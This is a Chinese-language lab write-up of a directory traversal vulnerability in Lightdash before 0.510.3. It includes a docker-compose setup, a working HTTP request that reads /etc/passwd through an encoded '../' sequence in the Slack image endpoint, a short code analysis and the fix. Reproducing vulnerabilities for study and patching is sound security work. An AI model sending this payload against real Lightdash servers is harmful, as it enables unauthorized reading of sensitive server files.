漏洞简介
Lightdash是一款数据分析平台,它可以让数据团队和其他业务部门聚集在一起以做出更好的数据驱动决策。Lightdash可以让您使用数据回答他们自己的问题,而不需要依赖专家的SQL技能。您可以使用Lightdash构建指标和维度,这些指标和维度可以被任何人使用。因此,任何业务部门都可以组合、分割和过滤这些指标和维度来回答他们自己的问题 。
Lightdash是可视化数据分析工具。Lightdash 0.510.3之前版本存在安全漏洞。攻击者利用该漏洞可以访问存储在web根文件夹之外的文件和目录。
环境搭建
docker-compose.yml
version: "3.8"
services:
lightdash:
image: lightdash/lightdash:0.510.2
depends_on:
- db
environment:
- PGHOST=db
- PGPORT=5432
- PGUSER=postgres
- PGPASSWORD=dalongdemo
- PGDATABASE=postgres
- SECURE_COOKIES=false
- TRUST_PROXY=false
- LIGHTDASH_SECRET=${LIGHTDASH_SECRET}
- PORT=8080
- LIGHTDASH_LOG_LEVEL=${LIGHTDASH_LOG_LEVEL}
- LIGHTDASH_INSTALL_ID=${LIGHTDASH_INSTALL_ID}
- LIGHTDASH_INSTALL_TYPE=${LIGHTDASH_INSTALL_TYPE:-docker_image}
- AUTH_DISABLE_PASSWORD_AUTHENTICATION=${AUTH_DISABLE_PASSWORD_AUTHENTICATION}
- AUTH_GOOGLE_OAUTH2_CLIENT_ID=${AUTH_GOOGLE_OAUTH2_CLIENT_ID}
- AUTH_GOOGLE_OAUTH2_CLIENT_SECRET=${AUTH_GOOGLE_OAUTH2_CLIENT_SECRET}
- SITE_URL:${SITE_URL}
- EMAIL_SMTP_HOST=${EMAIL_SMTP_HOST}
- EMAIL_SMTP_PORT=${EMAIL_SMTP_PORT}
- EMAIL_SMTP_SECURE=${EMAIL_SMTP_SECURE}
- EMAIL_SMTP_USER=${EMAIL_SMTP_USER}
- EMAIL_SMTP_PASSWORD=${EMAIL_SMTP_PASSWORD}
- EMAIL_SMTP_ALLOW_INVALID_CERT=${EMAIL_SMTP_ALLOW_INVALID_CERT}
- EMAIL_SMTP_SENDER_NAME=${EMAIL_SMTP_SENDER_NAME}
- EMAIL_SMTP_SENDER_EMAIL=${EMAIL_SMTP_SENDER_EMAIL}
volumes:
- ".:/usr/app/dbt"
ports:
- 8080:8080
db:
image: postgres
restart: always
environment:
POSTGRES_PASSWORD: dalongdemo
POSTGRES_USER: postgres
POSTGRES_DB: postgres
volumes:
- db-data:/var/lib/postgresql/data
volumes:
db-data:
漏洞复现
我们可以先访问路由 /api/v1/health
确定对应的版本信息 ,属于存在漏洞的版本
GET /api/v1/slack/image/slack-image%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
简单分析
ightdash/packages/backend/src/routers/slackRouter.ts
通过将目录遍历序列附加到 Slack 映像端点的映像 ID 参数中,可以利用此漏洞,使攻击者能够绕过访问控制并读取服务器上的敏感文件。Slack 图像端点旨在提供已上传到 Slack 并随后保存在 Lightdash 服务器上的图像。端点以图片ID为参数,返回对应的图片文件。当 imageId 参数可控且并未做任何校验时,可以通过 ../
跨目录的读取文件。
漏洞修复
对文件的后缀名做了强制性校验,同时将路径中存在的 ..
替换为 空